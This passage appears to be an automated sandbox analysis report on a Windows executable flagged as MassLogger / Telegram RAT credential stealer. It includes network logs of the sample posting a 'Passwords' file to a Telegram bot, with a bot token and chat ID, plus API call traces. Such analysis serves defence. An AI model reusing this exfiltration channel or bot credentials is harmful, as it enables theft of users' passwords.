2025-01-11 06:32:27 UTC	535	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 38 39 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 37 37 31 34 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44896,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736577146,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	50030	149.154.167.220	443	3052	C:\Users\user\Desktop\ZaRP7yvL1J.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:32:28 UTC	295	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3318c7ad4f72 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-11 06:32:28 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 31 38 63 37 61 64 34 66 37 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3318c7ad4f72Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-11 06:32:29 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 11 Jan 2025 06:32:29 GMT Content-Type: application/json Content-Length: 535 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-11 06:32:29 UTC	535	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 38 39 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 37 37 31 34 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44897,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736577149,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	50032	149.154.167.220	443	3052	C:\Users\user\Desktop\ZaRP7yvL1J.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:32:33 UTC	295	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd333777302c9a Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-11 06:32:33 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 33 37 37 37 33 30 32 63 39 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd333777302c9aContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-11 06:32:33 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 11 Jan 2025 06:32:33 GMT Content-Type: application/json Content-Length: 535 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-11 06:32:33 UTC	535	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 38 39 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 37 37 31 35 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44898,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736577153,"document":{"file_name":"U

Target ID:	0
Start time:	01:30:25
Start date:	11/01/2025
Path:	C:\Users\user\Desktop\ZaRP7yvL1J.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ZaRP7yvL1J.exe"
Imagebase:	0x400000
File size:	1'011'570 bytes
MD5 hash:	DF41E72F1C096D443CEFD72755DF031F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:31:33
Start date:	11/01/2025
Path:	C:\Users\user\Desktop\ZaRP7yvL1J.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ZaRP7yvL1J.exe"
Imagebase:	0x400000
File size:	1'011'570 bytes
MD5 hash:	DF41E72F1C096D443CEFD72755DF031F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000004.00000002.2950226933.0000000035E4A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.2950226933.0000000035E4A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000004.00000002.2950226933.0000000035E4A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	19.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	19.6%
Total number of Nodes:	1592
Total number of Limit Nodes:	38

Executed Functions

Function 004034A5 Relevance: 80.9, APIs: 32, Strings: 14, Instructions: 410
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004034C8
GetVersion.KERNEL32 ref: 004034CE
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403501
#17.COMCTL32(?,00000006,00000008,0000000A), ref: 0040353E
OleInitialize.OLE32(00000000), ref: 00403545
SHGetFileInfoW.SHELL32(004216E8,00000000,?,000002B4,00000000), ref: 00403561
GetCommandLineW.KERNEL32(00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 00403576
CharNextW.USER32(00000000,00435000,00000020,00435000,00000000,?,00000006,00000008,0000000A), ref: 004035AE

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 004036E8
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000006,00000008,0000000A), ref: 004036F9
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 00403705
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 00403719
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 00403721
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 00403732
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 0040373A
DeleteFileW.KERNELBASE(1033,?,00000006,00000008,0000000A), ref: 0040374E

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

OleUninitialize.OLE32(00000006,?,00000006,00000008,0000000A), ref: 00403819
ExitProcess.KERNEL32 ref: 0040383A
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 0040384D
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A328,C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 0040385C
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403867
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,00436800,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403873
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 0040388F
DeleteFileW.KERNEL32(00420EE8,00420EE8,?,0042B000,00000008,?,00000006,00000008,0000000A), ref: 004038E9
CopyFileW.KERNEL32(C:\Users\user\Desktop\ZaRP7yvL1J.exe,00420EE8,00000001,?,00000006,00000008,0000000A), ref: 004038FD
CloseHandle.KERNEL32(00000000,00420EE8,00420EE8,?,00420EE8,00000000,?,00000006,00000008,0000000A), ref: 0040392A
GetCurrentProcess.KERNEL32(00000028,0000000A,00000006,00000008,0000000A), ref: 00403959
OpenProcessToken.ADVAPI32(00000000), ref: 00403960
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403975
AdjustTokenPrivileges.ADVAPI32 ref: 00403998
ExitWindowsEx.USER32(00000002,80040002), ref: 004039BD
ExitProcess.KERNEL32 ref: 004039E0

Strings

UXTHEME, xrefs: 004034F5, 004034FA, 00403500
\Temp, xrefs: 004036FF
TEMP, xrefs: 0040372D
Error launching installer, xrefs: 004037D0
Low, xrefs: 0040371B
~nsu, xrefs: 00403845
NSIS Error, xrefs: 00403567
TMP, xrefs: 00403735
1033, xrefs: 00403749
C:\Users\user\AppData\Local\Temp\, xrefs: 004036DD, 004036E2, 004036F8, 00403704, 00403713, 00403720, 0040372C, 00403734, 0040384A, 0040385B, 00403866, 00403872, 0040387F, 0040388E, 0040393F
C:\Users\user\Desktop\ZaRP7yvL1J.exe, xrefs: 004038F8
SeShutdownPrivilege, xrefs: 0040396F
.tmp, xrefs: 00403861
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004034BC

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: lstrcat$FileProcess$Exit$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: .tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop\ZaRP7yvL1J.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3441113951-3140688606
Opcode ID: e11a689ec9d555b5fe2f652178506891ef29a00bc77516d82e2752c077597b55
Instruction ID: dafc1af32610b20ef8647c0cf6a3faef20d76686829591872cbc6ab955e55f97
Opcode Fuzzy Hash: e11a689ec9d555b5fe2f652178506891ef29a00bc77516d82e2752c077597b55
Instruction Fuzzy Hash: 4DD1F571600310ABE7206F759D49A3B3AECEB4070AF50443FF981B62D2DB7D8956876E

Function 00404DCC Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404DE4
GetDlgItem.USER32(?,00000408), ref: 00404DEF
GlobalAlloc.KERNEL32(00000040,?), ref: 00404E39
LoadBitmapW.USER32(0000006E), ref: 00404E4C
SetWindowLongW.USER32(?,000000FC,004053C4), ref: 00404E65
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404E79
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404E8B
SendMessageW.USER32(?,00001109,00000002), ref: 00404EA1
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404EAD
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404EBF
DeleteObject.GDI32(00000000), ref: 00404EC2
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404EED
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404EF9
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404F8F
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404FBA
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404FCE
GetWindowLongW.USER32(?,000000F0), ref: 00404FFD
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0040500B
ShowWindow.USER32(?,00000005), ref: 0040501C
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405119
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040517E
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405193
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 004051B7
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 004051D7
ImageList_Destroy.COMCTL32(?), ref: 004051EC
GlobalFree.KERNEL32(?), ref: 004051FC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405275
SendMessageW.USER32(?,00001102,?,?), ref: 0040531E
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040532D
InvalidateRect.USER32(?,00000000,00000001), ref: 0040534D
ShowWindow.USER32(?,00000000), ref: 0040539B
GetDlgItem.USER32(?,000003FE), ref: 004053A6
ShowWindow.USER32(00000000), ref: 004053AD

Strings

N, xrefs: 00405057
, xrefs: 00405385
M, xrefs: 00404F76

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: fb644b25ca39ae204efa7e1d1243337108994715b0d322cb34e58838b66aab8b
Instruction ID: 7f687e55a7f93217ddba54fde82f382d197ef8b4c31ab339cf60f2545021b201
Opcode Fuzzy Hash: fb644b25ca39ae204efa7e1d1243337108994715b0d322cb34e58838b66aab8b
Instruction Fuzzy Hash: DD028DB0A00609EFDF209F94CD85AAE7BB5FB44354F10807AE611BA2E0C7798D52CF58

Function 00405AFA Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,74DF2EE0,00000000), ref: 00405B23
lstrcatW.KERNEL32(00425730,\*.*,00425730,?,?,C:\Users\user\AppData\Local\Temp\,74DF2EE0,00000000), ref: 00405B6B
lstrcatW.KERNEL32(?,0040A014,?,00425730,?,?,C:\Users\user\AppData\Local\Temp\,74DF2EE0,00000000), ref: 00405B8E
lstrlenW.KERNEL32(?,?,0040A014,?,00425730,?,?,C:\Users\user\AppData\Local\Temp\,74DF2EE0,00000000), ref: 00405B94
FindFirstFileW.KERNEL32(00425730,?,?,?,0040A014,?,00425730,?,?,C:\Users\user\AppData\Local\Temp\,74DF2EE0,00000000), ref: 00405BA4
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405C44
FindClose.KERNEL32(00000000), ref: 00405C53

Strings

0WB, xrefs: 00405B53
\*.*, xrefs: 00405B65
C:\Users\user\AppData\Local\Temp\, xrefs: 00405B08

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: 0WB$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-1057503074
Opcode ID: 94aee6277fb60bc187ec105b0c3c889327325094ff3d5538513028a918914a00
Instruction ID: 490a569b50011677cd34e026f6ab1003dec3a9533e419df12a6715eb2ed0bc70
Opcode Fuzzy Hash: 94aee6277fb60bc187ec105b0c3c889327325094ff3d5538513028a918914a00
Instruction Fuzzy Hash: 0541BF30805B18A6EB31AB618D89BAF7678EF41718F10817BF801711D2D77C59C29EAE

Function 00406AF2 Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction ID: 8a3521d6a9ab1c5b5eb45e3d7957e6eefdd785676f1866d9874d60d9aff9e69c
Opcode Fuzzy Hash: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction Fuzzy Hash: 1CF16770D04229CBDF18CFA8C8946ADBBB0FF45305F25816ED856BB281D7386A86DF45

Function 0040672B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,00426778,00425F30,00405E0E,00425F30,00425F30,00000000,00425F30,00425F30,?,?,74DF2EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,74DF2EE0), ref: 00406736
FindClose.KERNEL32(00000000), ref: 00406742

Strings

xgB, xrefs: 0040672C

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: xgB
API String ID: 2295610775-399326502
Opcode ID: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction ID: 964bfaba6fe47efa91ae3b9d04416f3a0311ddb8c2b0a677c8b566ff70b98767
Opcode Fuzzy Hash: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction Fuzzy Hash: 08D012315150205BC2011738BD4C85B7A589F553357228B37B866F61E0C7348C62869C

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403EC2
ShowWindow.USER32(?), ref: 00403EDF
DestroyWindow.USER32 ref: 00403EF3
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403F0F
GetDlgItem.USER32(?,?), ref: 00403F30
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403F44
IsWindowEnabled.USER32(00000000), ref: 00403F4B
GetDlgItem.USER32(?,00000001), ref: 00403FF9
GetDlgItem.USER32(?,00000002), ref: 00404003
SetClassLongW.USER32(?,000000F2,?), ref: 0040401D
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040406E
GetDlgItem.USER32(?,00000003), ref: 00404114
ShowWindow.USER32(00000000,?), ref: 00404135
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00404147
EnableWindow.USER32(?,?), ref: 00404162
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00404178
EnableMenuItem.USER32(00000000), ref: 0040417F
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00404197
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004041AA
lstrlenW.KERNEL32(00423728,?,00423728,00000000), ref: 004041D4
SetWindowTextW.USER32(?,00423728), ref: 004041E8
ShowWindow.USER32(?,0000000A), ref: 0040431C

Strings

(7B, xrefs: 004041C4

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
